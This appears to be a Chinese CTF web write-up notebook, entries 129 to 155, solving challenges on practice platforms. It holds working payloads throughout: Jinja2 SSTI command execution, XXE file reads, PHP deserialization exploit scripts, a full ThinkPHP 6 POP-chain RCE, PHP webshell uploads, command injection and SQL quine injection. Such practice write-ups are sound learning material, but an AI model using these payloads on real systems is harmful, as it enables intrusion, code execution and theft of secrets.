可以倒序,但仍然跑不出来
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}
{% print lipsum.**globals**[‘os’].popen(‘env’).read() %}
也可以
焚靖生成payload的用法:
1 2 3 4 5 import fenjingdef waf (s ): return "_" not in s payload,_ = fenjing.exec_cmd_payload(waf, "ls /" ) print (payload)
129.[NCTF 2019]Fake XML cookbook POST请求体
1 2 3 4 5 <!DOCTYPE a[ <!ENTITY file SYSTEM "file:///flag"> ]> <user><username>&file;</username> <password>1</password></user>
130.[UUCTF 2022 新生赛]ez_unser 需要注意的2个地方是
1、exp中也要把方法补上 否则将不会执行
2、由于正则不允许修改序列化成员数量绕过__wakeup
,但可以通过赋予变量相同的地址$a->b=&$a->a;
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php show_source (__FILE__ );class test { public $a ; public $b ; public $c ; public function __construct ( ) { $this ->a=1 ; $this ->b=2 ; $this ->c=3 ; } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =$_GET ['a' ];if (!preg_match ('/test":3/i' ,$a )){ die ("你输入的不正确!!!搞什么!!" ); } $bbb =unserialize ($_GET ['a' ]);
第一版exp(无法执行,因为__wakeup
和__destruct
没有补全):
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $a ; public $b ; public $c ; public function __construct ( ) { } } $a = new test ();$a ->b=&$a ->a;$a ->c="system('ls');" ;echo serialize ($a );
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class test { public $a ; public $b ; public $c ; public function __construct ( ) { } public function __wakeup ( ) { $this ->a='' ; } public function __destruct ( ) { $this ->b=$this ->c; eval ($this ->a); } } $a =new test ();$a ->b=&$a ->a;$a ->c="system('cat /f*');" ;echo serialize ($a );?>
131.[SWPUCTF 2022 新生赛]Ez_upload 上传.htaccess
,修改mime类型为image/jpeg
即可
然后传马,waf是ph*和mime类型,以及<?
所以改用<script language="php">@eval($_POST['cmd']);</script>
,修改mime类型为image/jpeg
,使用文件后缀为png(其实任意都可以,因为.htaccess已经将所有后缀的文件都解析为php了)
蚁剑连接没啥用,flag在phpinfo里
132.[FSCTF 2023]源码!启动! F12被禁用,ctrl+U在最下面getflag
133.[SWPUCTF 2022 新生赛]funny_web username=NSS
password=2122693401
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php error_reporting (0 );header ("Content-Type: text/html;charset=utf-8" );highlight_file (__FILE__ );include ('flag.php' );if (isset ($_GET ['num' ])) { $num = $_GET ['num' ]; if ($num != '12345' ) { if (intval ($num ) == '12345' ) { echo $FLAG ; } } else { echo "这为何相等又不相等" ; } }
?num=12345a
134.[MoeCTF 2021]Web安全入门指北—GET ?moe=flag
135.[MoeCTF 2021]unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php class entrance { public $start ; function __construct ($start ) { $this ->start = $start ; } function __destruct ( ) { $this ->start->helloworld (); } } class springboard { public $middle ; function __call ($name , $arguments ) { echo $this ->middle->hs; } } class evil { public $end ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } } if (isset ($_GET ['serialize' ])) { unserialize ($_GET ['serialize' ]); } else { highlight_file (__FILE__ ); }
链子分析:变量命名的逻辑已经很清晰了,start->middle->end
,最终在end的__get
里执行代码,往上推,需要控制evil类的end成员为我们要的命令执行函数如system('cat /flag');
,再往上推,就需要调用__construct
,而在实例化的时候会调用,默认不用处理,为了调用__get
,需要访问不存在的属性,正好sprintboard类的__call
方法访问了一个hs
,而调用__call
方法就需要访问不存在的方法,正好entrance里的__destruct
就访问了一个不存在的helloword()
,尝试写下exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php class entrance { public $start ; function __construct ($start ) { $this ->start = $start ; } function __destruct ( ) { $this ->start->helloworld (); } } class springboard { public $middle ; function __call ($name , $arguments ) { echo $this ->middle->hs; } } class evil { public $end = "system('cat /flag');" ; function __construct ($end ) { $this ->end = $end ; } function __get ($Attribute ) { eval ($this ->end); } } $a = new entrance ($start =new springboard ());$a ->start->middle = new evil ($end ="system('cat /*');" );echo serialize ($a );
136.[FSCTF 2023]webshell是啥捏 ?👽=cat /f*
137.[GKCTF 2020]CheckIN 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <title>Check_In</title> <?php highlight_file (__FILE__ );class ClassName { public $code = null ; public $decode = null ; function __construct ( ) { $this ->code = @$this ->x ()['Ginkgo' ]; $this ->decode = @base64_decode ( $this ->code ); @Eval ($this ->decode); } public function x ( ) { return $_REQUEST ; } } new ClassName ();
本地调试可以执行命令,靶机不行,猜测disable_fucntions
使用phpinfo查看禁用了一大堆系统函数,那么构造webshell语句
?Ginkgo=ZXZhbCgkX1BPU1RbJ2NtZCddKTs=
蚁剑连接,绕过disable_functions,选择模式PHP7_UserFilter
根目录的flag读不了,需要提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (www-data:/var/www/html) $ find / -perm -u=s -type f 2>/dev/null /bin/su /bin/umount /bin/mount /usr/bin/passwd /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/chfn /readflag (www-data:/var/www/html) $ ./readflag (www-data:/var/www/html) $ cd / (www-data:/) $ ./readflag NSSCTF{d09d2931-3e0b-4a28-8421-660e1df960cc}
138.[CISCN 2022 初赛]ezpop www.zip
源码泄露,是tp6.0.12LTS框架,可以找通杀,尝试自己代码审计
phpstorm打开源码文件夹ctrl+shift+f
全局搜索__destruct
,发现vendor\topthink\think-orm\src\Model.php
存在以下实现
1 2 3 4 5 6 public function __destruct ( ) { if ($this ->lazySave) { $this ->save (); } }
跟进save()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function save (array $data = [], string $sequence = null ): bool { $this ->setAttrs ($data ); if ($this ->isEmpty () || false === $this ->trigger ('BeforeWrite' )) { return false ; } $result = $this ->exists ? $this ->updateData () : $this ->insertData ($sequence ); if (false === $result ) { return false ; }
$this->isEmpty()
或者false===$this->trigger('BeforeWrite')
就会返回false,需要让$this->isEmpty()
为false,$this->trigger('BeforeWrite')
为true才能进入下一段执行,先看后面的trigger,位于\vendor\topthink\think-orm\src\model\concern\ModelEvent.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 protected function trigger (string $event ): bool { if (!$this ->withEvent) { return true ; } $call = 'on' . Str ::studly ($event ); try { if (method_exists (static ::class , $call )) { $result = call_user_func ([static ::class , $call ], $this ); } elseif (is_object (self ::$event ) && method_exists (self ::$event , 'trigger' )) { $result = self ::$event ->trigger ('model.' . static ::class . '.' . $event , $this ); $result = empty ($result ) ? true : end ($result ); } else { $result = true ; } return false === $result ? false : true ; } catch (ModelEventException $e ) { return false ; } }
让$this->withEvent
为false就可以返回true,再跟进isEmpty()
1 2 3 4 public function isEmpty ( ): bool { return empty ($this ->data); }
empty()
中,参数是非空非零的值会返回false,这些变量也会被认为是空:
1 2 3 4 5 6 7 8 "" int(0) float(0.0) "0" NULL FALSE array() //空数组 $var; //未初始化的变量
那就只需要让$this->data
不为空就可以了。跳过了上面的if语句判断,来到
1 $result = $this ->exists ? $this ->updateData () : $this ->insertData ($sequence );
三元运算符,这里的意思是$this->exists
为true就执行$this->updateData()
,为false执行$this->insertData($sequence)
,$this->exists
是可控的,先跟进updateData()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 protected function updateData ( ): bool { if (false === $this ->trigger ('BeforeUpdate' )) { return false ; } $this ->checkData (); $data = $this ->getChangedData (); if (empty ($data )) { if (!empty ($this ->relationWrite)) { $this ->autoRelationUpdate (); } return true ; } if ($this ->autoWriteTimestamp && $this ->updateTime) { $data [$this ->updateTime] = $this ->autoWriteTimestamp (); $this ->data[$this ->updateTime] = $data [$this ->updateTime]; } $allowFields = $this ->checkAllowFields (); foreach ($this ->relationWrite as $name => $val ) { if (!is_array ($val )) { continue ; } foreach ($val as $key ) { if (isset ($data [$key ])) { unset ($data [$key ]); } } } $db = $this ->db (); $db ->transaction (function () use ($data , $allowFields , $db ) { $this ->key = null ; $where = $this ->getWhere (); $result = $db ->where ($where ) ->strict (false ) ->cache (true ) ->setOption ('key' , $this ->key) ->field ($allowFields ) ->update ($data ); $this ->checkResult ($result ); if (!empty ($this ->relationWrite)) { $this ->autoRelationUpdate (); } }); $this ->trigger ('AfterUpdate' ); return true ; }
跟刚才绕过trigger
一样,第二个if要传入非空的data,是我们控制的,不为空就可以走到$allowFields = $this->checkAllowFields();
,跟进
1 2 3 4 5 6 7 8 9 10 protected function checkAllowFields ( ): array { if (empty ($this ->field)) { if (!empty ($this ->schema)) { $this ->field = array_keys (array_merge ($this ->schema, $this ->jsonType)); } else { $query = $this ->db (); ... }
$this->field
是空的,会执行下面的else分支也就是$this->db()
,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 public function db ($scope = [] ): Query { $query = self ::$db ->connect ($this ->connection) ->name ($this ->name . $this ->suffix) ->pk ($this ->pk); if (!empty ($this ->table)) { $query ->table ($this ->table . $this ->suffix); } ... }
$this->table
可控,能够进入到if里,由于用了.
来拼接$this->table
和$this->suffix
,也就是把这两个变量当做字符串来处理,倘若传入对象,则会触发__toString()
,因此现在可以寻找__toString()
了,在www/vendor/topthink/think-orm/src/model/concern/Conversion.php
里的__toString()
调用了toJson()
,跟进调用了toArray()
1 2 3 4 5 6 7 8 9 public function toJson (int $options = JSON_UNESCAPED_UNICODE ): string { return json_encode ($this ->toArray (), $options ); } public function __toString ( ) { return $this ->toJson (); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function toArray ( ): array {... $data = array_merge ($this ->data, $this ->relation); foreach ($data as $key => $val ) { ... if (!isset ($this ->hidden[$key ]) || true !== $this ->hidden[$key ]) { $item [$key ] = $val ->toArray (); } } elseif (isset ($this ->visible[$key ])) { $item [$key ] = $this ->getAttr ($key ); } elseif (!isset ($this ->hidden[$key ]) && !$hasVisible ) { $item [$key ] = $this ->getAttr ($key ); } ... }
$data = array_merge($this->data, $this->relation);
这一句将两个数组合并,接下来遍历,中间用到getAttr()
函数,跟进
1 2 3 4 5 6 7 8 9 10 11 12 public function getAttr (string $name ) { try { $relation = false ; $value = $this ->getData ($name ); } catch (InvalidArgumentException $e ) { $relation = $this ->isRelationAttr ($name ); $value = null ; } return $this ->getValue ($name , $value , $relation ); }
$relation
默认是false的,$value
从getData()
获取,然后传到getValue()
,跟进getData()
看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public function getData (string $name = null ) { if (is_null ($name )) { return $this ->data; } $fieldName = $this ->getRealFieldName ($name ); if (array_key_exists ($fieldName , $this ->data)) { return $this ->data[$fieldName ]; } elseif (array_key_exists ($fieldName , $this ->relation)) { return $this ->relation[$fieldName ]; } throw new InvalidArgumentException ('property not exists:' . static ::class . '->' . $name ); }
里面调用的getRealFieldName
跟利用链关系不大,看getValue()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 protected function getValue (string $name , $value , $relation = false ) { $fieldName = $this ->getRealFieldName ($name ); if (array_key_exists ($fieldName , $this ->get)) { return $this ->get[$fieldName ]; } $method = 'get' . Str ::studly ($name ) . 'Attr' ; if (isset ($this ->withAttr[$fieldName ])) { if ($relation ) { $value = $this ->getRelationValue ($relation ); } if (in_array ($fieldName , $this ->json) && is_array ($this ->withAttr[$fieldName ])) { $value = $this ->getJsonValue ($fieldName , $value ); ... }
$this->withAttr
存在于且为数组,$fieldName
在$this->json
中存在就能执行getJsonValue
,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected function getJsonValue ($name , $value ) { if (is_null ($value )) { return $value ; } foreach ($this ->withAttr[$name ] as $key => $closure ) { if ($this ->jsonAssoc) { $value [$key ] = $closure ($value [$key ], $value ); } else { $value ->$key = $closure ($value ->$key , $value ); } } return $value ; }
变量覆盖RCE,控制$this->jsonAssoc
为true即可利用
到这里整理一下链子
1 2 3 4 5 6 Conversion::__toString() Conversion::toJson() Conversion::toArray() //$this->data Attribute::getAttr() Attribute::getValue() //$this->json $this->withAttr Attribute::getJsonValue()
data是可控的,如果控制data为$this->data=['whoami'=>['whoami']]
,经过foreach传入Attribute::getAttr()
,key就是whoami
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public function toArray ( ): array {... $data = array_merge ($this ->data, $this ->relation); foreach ($data as $key => $val ) { ... if (!isset ($this ->hidden[$key ]) || true !== $this ->hidden[$key ]) { $item [$key ] = $val ->toArray (); } } elseif (isset ($this ->visible[$key ])) { $item [$key ] = $this ->getAttr ($key ); } elseif (!isset ($this ->hidden[$key ]) && !$hasVisible ) { $item [$key ] = $this ->getAttr ($key ); } ... }
1 2 3 4 5 6 7 8 9 10 11 12 public function getAttr (string $name ) { try { $relation = false ; $value = $this ->getData ($name ); } catch (InvalidArgumentException $e ) { $relation = $this ->isRelationAttr ($name ); $value = null ; } return $this ->getValue ($name , $value , $relation ); }
getAttr()
里用的是getData()
来获取数组value的,刚才我们控制了data为键值对,key
是whoami
,值是['whoami']
,最终$value=['whoami']
,刚才说了$this->withAttr
存在且为数组,$fieldName
在$this->json
中存在就能执行getJsonValue
1 2 3 4 5 6 7 if (isset ($this ->withAttr[$fieldName ])) { if ($relation ) { $value = $this ->getRelationValue ($relation ); } if (in_array ($fieldName , $this ->json) && is_array ($this ->withAttr[$fieldName ])) { $value = $this ->getJsonValue ($fieldName , $value );
控制$this->withAttr=['whoami'=>['system']]
,$this->json=['whoami']
,进入最后的getJsonValue()
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 protected function getJsonValue ($name , $value ) { if (is_null ($value )) { return $value ; } foreach ($this ->withAttr[$name ] as $key => $closure ) { if ($this ->jsonAssoc) { $value [$key ] = $closure ($value [$key ], $value ); } else { $value ->$key = $closure ($value ->$key , $value ); } } return $value ; }
$name='whaomi,$value=['whoami'],$this->withAttr[$name]=['system']
poc构造的角度结束,来看exp构造(__destruct()
利用过程)
1 2 3 4 5 Model::__destruct() Model::save() Model::updateData() Model::checkAllowFields() Model::db() //__toString()
1 2 3 4 5 6 public function __destruct ( ) { if ($this ->lazySave) { $this ->save (); } }
1 2 3 4 5 if ($this ->isEmpty () || false === $this ->trigger ('BeforeWrite' )) { return false ; } $result = $this ->exists ? $this ->updateData () : $this ->insertData ($sequence );
然后到Model::db()
1 2 3 4 5 6 7 8 9 10 11 12 13 public function db ($scope = [] ): Query { $query = self ::$db ->connect ($this ->connection) ->name ($this ->name . $this ->suffix) ->pk ($this ->pk); if (!empty ($this ->table)) { $query ->table ($this ->table . $this ->suffix); } ... }
Model是抽象类,利用了我们涉及到的Attribute
和Conversion
接口,关键字可以直接使用
1 2 3 4 5 6 7 8 abstract class Model implements JsonSerializable , ArrayAccess , Arrayable , Jsonable { use model \concern \Attribute ; use model \concern \RelationShip ; use model \concern \ModelEvent ; use model \concern \TimeStamp ; use model \concern \Conversion ;
寻找一个可以被实例化的Model子类开始构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php namespace think { abstract class Model { private $lazySave = true ; private $data = ['whoami' =>['cat /nssctfflag' ]]; private $exists = true ; protected $table ; private $withAttr = ['whoami' =>['system' ]]; protected $json = ['whoami' ]; protected $jsonAssoc = true ; } } namespace think \model { use think \model ; class Pivot extends Model { } $a = new Pivot (new Pivot ()); echo urlencode (serialize ($a )); }
在题目的Index.php中存在一个test路由,里面反序列化了post参数a,传入即可
139.[NSSRound#7 Team]ec_RCE payload:POST action=|cat /flag&data=1
140.[GXYCTF 2019]禁止套娃 两种办法,本质都是绕过waf。
1、session注入
扫目录发现git泄露,然后用githacker拿下源码
1 githacker --url http://node4.anna.nssctf.cn:28396/ --output-folder out
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
cookie传参设置session_id
的值,使用session_start
来开启,使用show_source
来读取
2、读取环境变量并输出
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
141.[MoeCTF 2021]Do you know HTTP 1 2 3 4 5 6 7 8 9 10 11 12 HS / HTTP/1.1 Host: node5.anna.nssctf.cn:28033 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: LT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 X-Forwarded-For: 127.0.0.1 Referer: www.ltyyds.com Connection: close
四个点:
1、请求方法
2、UA
3、XFF
4、Referer
142.[HNCTF 2022 WEEK3]ssssti 焚靖一把梭
143.[FSCTF 2023]细狗2.0 waf不知道,fuzz一下用分号闭合然后执行个ls发现有回显
1;ls /
被waf,绕过空格
1;ls${IFS}/
可以看到flag,cat和flag都被waf
1;nl${IFS}/f*
即可
144.[HZNUCTF 2023 preliminary]ppppop 一看就又是一道php反序列化
抓包发现setcookie,解b64得
O:4:"User":1:{s:7:"isAdmin";b:0;}
,0改成1可以看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php error_reporting (0 );include ('utils.php' );class A { public $className ; public $funcName ; public $args ; public function __destruct ( ) { $class = new $this ->className; $funcName = $this ->funcName; $class ->$funcName ($this ->args); } } class B { public function __call ($func , $arg ) { $func ($arg [0 ]); } } if (checkUser ()) { highlight_file (__FILE__ ); $payload = strrev (base64_decode ($_POST ['payload' ])); unserialize ($payload ); }
写个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php class A { public $className = 'B' ; public $funcName ='system' ; public $args ='ls /' ; public function __destruct ( ) { $class = new $this ->className; $funcName = $this ->funcName; $class ->$funcName ($this ->args); } } class B { public function __call ($func , $arg ) { $func ($arg [0 ]); } } $a = new A ();echo base64_encode (strrev (serialize ($a )));
发现根目录下没有flag,读取env即可
payload:POST payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnM7IkIiOjE6czsiZW1hTnNzYWxjIjo5OnN7OjM6IkEiOjE6Tw==
145.[HNCTF 2022 WEEK2]Canyource 新姿势,执行读取当前变量的代码,然后给一个新的变量
1 ?code=eval(end(current(get_defined_vars())));&b=system("nl flag.php")
f12看到flag
或者
?code=readfile(next(array_reverse(scandir(pos(localeconv())))));
第二个方法的过程,本地调试首先执行localeconv()
,可以发现返回的是Array
然后执行pos()
,返回的是.
,即当前目录的意思,那么往前走到scandir,就是获取当前目录下的文件列表,并以数组形式返回,相当于ls命令,然后数组起始位置是.,下一个是..,接下来是文件夹里的文件,所以进行一个倒序,就保证是文件夹内的文件,然后取next,获取的是文件名,然后readfile输出文件内容
146.[WUSTCTF 2020]CV Maker 感觉是非预期,扫目录发现phpinfo.php或者git泄露,githacker,dump下来也是有phpinfo.php,访问getflag,预期解是注册账号然后上传头像为一句话,蚁剑连接根目录./readflag
、或者env
147.[CISCN 2019华东南]Double Secret BUU以前做过,/secret,传secret,rc4加密后的结果,脚本拿过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import base64from urllib import parsedef rc4_main (key = "init_key" , message = "init_message" ): s_box = rc4_init_sbox(key) crypt = str (rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox (key ): s_box = list (range (256 )) j = 0 for i in range (256 ): j = (j + s_box[i] + ord (key[i % len (key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt (plain, box ): res = [] i = j = 0 for s in plain: i = (i + 1 ) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr (ord (s) ^ k)) cipher = "" .join(res) return (str (base64.b64encode(cipher.encode('utf-8' )), 'utf-8' )) key = "HereIsTreasure" message = input ("请输入明文:\n" ) enc_base64 = rc4_main( key , message ) enc_init = str (base64.b64decode(enc_base64),'utf-8' ) enc_url = parse.quote(enc_init) print ("rc4加密后的url编码:" +enc_url)
payload一步步
1 2 3 4 {{7*7}} {{''.__class__}} {{''.__class__.__mro__}} #回显str、basestring、object所以获取object {{''.__class__.__mro__[2].__subclasses__()}}
写个脚本找调用os的子进程,subprocess.Popen
1 2 3 4 5 l = [...] for i in range (len (l)): if 'subprocess.Popen' in l[i]: print ("{} {}" .format (i,l[i]))
payload继续
1 2 3 {{''.__class__.__mro__[2].__subclasses__()[239]('ls /',shell=True,stdout=-1).communicate()[0].strip()}} {{''.__class__.__mro__[2].__subclasses__()[239]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
148.[NSSRound#8 Basic]MyPage WMCTF的Make PHP Great Again 2.0的require_once绕过,原理:require-once如果包含过多软链接就会失效。payload通杀,读取的是/self/cwd下的flag.php,路径就纯脑洞了
1 ?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/self/cwd/flag.php
149.[SWPUCTF 2021 新生赛]babyunser phar反序列化
查看文件,查询read.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>aa的文件查看器</title> <style> .search_form{ width:602px; height:42px; } /*左边输入框设置样式*/ .input_text{ width:400px; height: 40px; border:1px solid green; /*清除掉默认的padding*/ padding:0px; /*提示字首行缩进*/ text-indent: 10px; /*去掉蓝色高亮框*/ outline: none; /*用浮动解决内联元素错位及小间距的问题*/ float:left; } .input_sub{ width:100px; height: 42px; background: green; text-align:center; /*去掉submit按钮默认边框*/ border:0px; /*改成右浮动也是可以的*/ float:left; color:white;/*搜索的字体颜色为白色*/ cursor:pointer;/*鼠标变为小手*/ } .file_content{ width:500px; height: 242px; } </style> </head> <?php include('class.php'); $a=new aa(); ?> <body> <h1>aa的文件查看器</h1> <form class="search_form" action="" method="post"> <input type="text" class="input_text" placeholder="请输入搜索内容" name="file"> <input type="submit" value="查看" class="input_sub"> </form> </body> </html> <?php error_reporting(0); $filename=$_POST['file']; if(!isset($filename)){ die(); } $file=new zz($filename); $contents=$file->getFile(); ?> <br> <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
include了一个class.php,读取看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <?php class aa { public $name ; public function __construct ( ) { $this ->name='aa' ; } public function __destruct ( ) { $this ->name=strtolower ($this ->name); } } class ff { private $content ; public $func ; public function __construct ( ) { $this ->content="\<?php @eval(\$_POST[1]);?>" ; } public function __get ($key ) { $this ->$key ->{$this ->func}($_POST ['cmd' ]); } } class zz { public $filename ; public $content ='surprise' ; public function __construct ($filename ) { $this ->filename=$filename ; } public function filter ( ) { if (preg_match ('/^\/|php:|data|zip|\.\.\//i' ,$this ->filename)){ die ('这不合理' ); } } public function write ($var ) { $filename =$this ->filename; $lt =$this ->filename->$var ; } public function getFile ( ) { $this ->filter (); $contents =file_get_contents ($this ->filename); if (!empty ($contents )){ return $contents ; }else { die ("404 not found" ); } } public function __toString ( ) { $this ->{$_POST ['method' ]}($_POST ['var' ]); return $this ->content; } } class xx { public $name ; public $arg ; public function __construct ( ) { $this ->name='eval' ; $this ->arg='phpinfo();' ; } public function __call ($name ,$arg ) { $name ($arg [0 ]); } }
分析下链子,最终在ff
的__get
下执行cmd,就要访问不可访问的成员来触发__get
,里面正好有个private的$content,通过zz
里的__toString
来调用write($var)
,而write()方法里面的$lt=$this->filename->$var;
会访问到$var
,控制$var
为content
,这个$var
,也就是content
,在类ff里是私有的,这个时候,尚未对content
进行任何操作,需要进行赋值操作才会触发__get
,那我们控制$this->filename=new ff()
,正好,而aa
里有个strtolower
正好触发了__toString
。整理下链子
1 2 aa::strlower ()->zz::__toString ->write ($var )->ff::__get (::xx )
写出exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php class ff { private $content ; public $func ='system' ; public function __construct ( ) { $this ->content=new xx (); } } class aa { public $name ; public function __constrtuct ( ) { $this ->name=new zz (); } } class zz { public $filename ; public $content ; } class xx { public $name ; public $arg ; } $a = new aa ();$a ->name=new zz ();$a ->name->filename=new ff ();$phar = new Phar ('exp.phar' );$phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER();?>' );$phar ->setMetadata ($a );$phar ->addFromString ('1.txt' ,'1' );$phar ->stopBuffering ();
执行exp后会生成一个exp.phar
,上传之后会得到txt的路径,拿去read,使用phar协议读取,传入payload
file=phar://upload/xxxxx.txt&method=write&var=content&cmd=ls /
150.[HDCTF 2023]LoginMaster robots.txt
就是75题的quine注入,payload要修改一下,在前面加个1,后面相应的位置都要加1
1 2 3 4 5 6 7 8 9 10 11 function checkSql ($s ) { if (preg_match ("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i" ,$s )){ alertMes ('hacker' , 'index.php' ); } } if ($row ['password' ] === $password ) { die ($FLAG ); } else { alertMes ("wrong password" ,'index.php' );
1 1'/**/union/**/select/**/REPLACE(REPLACE('1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#',CHAR(34),CHAR(39)),CHAR(66),'1"/**/union/**/select/**/REPLACE(REPLACE("B",CHAR(34),CHAR(39)),CHAR(66),"B")#')#
151.[FSCTF 2023]EZ_eval 1 2 3 4 5 6 7 8 9 10 11 <?php if (isset ($_GET ['word' ])){ $word = $_GET ['word' ]; if (preg_match ("/cat|tac|tail|more|head|nl|flag|less| /" , $word )){ die ("nonono." ); } $word = str_replace ("?" , "" , $word ); eval ("?>" . $word ); }else { highlight_file (__FILE__ ); }
payload:?word=<script%0alanguage='php'>system('ca\t${IFS}/f*');</script>
152.[HZNUCTF 2023 preliminary]guessguessguess 会把payload倒序,需要倒序输入,输入hint可以得到三个方向,sql、xss、rce,前两项都无法getflag。
构造一句话会被注释,以为要绕过,用script language发现没有回显 phpinfo也没有,其实直接执行phpinfo就可以了,其他命令执行没有回显。
153.[FSCTF 2023]Hello,you F12发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $input = isset ($_GET ['input' ]) ? $_GET ['input' ] : '' ;function executeCommand ($command ) { $output = '' ; exec ($command , $output ); return $output ; } function registerUser ($username ) { $command = "echo Hello, " . $username ; $result = executeCommand ($command ); return $result ; } if (isset ($_POST ['submit' ])) { $username = $_POST ['username' ]; $result = registerUser ($username ); }
说两句逻辑,点注册按钮就会执行registerUser
函数,把username
拼接到command
,然后传入到executeCommand
里面执行命令,再返回,所以拼接一个|
就可以执行多条命令,试了一下flag在env里。
payload:|env
154.[LitCTF 2023]彩蛋 彩蛋分布于 我Flag呢 Follow me and hack me 作业管理系统 狠狠的注入 四个题目 中
也就是这四道题,第一道F12里执行giveMeEgg()
LitCTF{First_t0_The_k3y!
第二道题,扫目录发现www.zip,第二部分
_R3ady_Pl4yer_000ne_
第三道题 在备选的地址里
1 2 wow 你找到了第二个彩蛋哦~ _S0_ne3t? (2/?)
nss上没找到狠狠的注入这题,只能看wp了
1 2 这个好像是最后一个个彩蛋 F1rst_to_Th3_eggggggggg!}
用下划线拼接
155.[GFCTF 2021]Baby_Web CVE-2021-41773
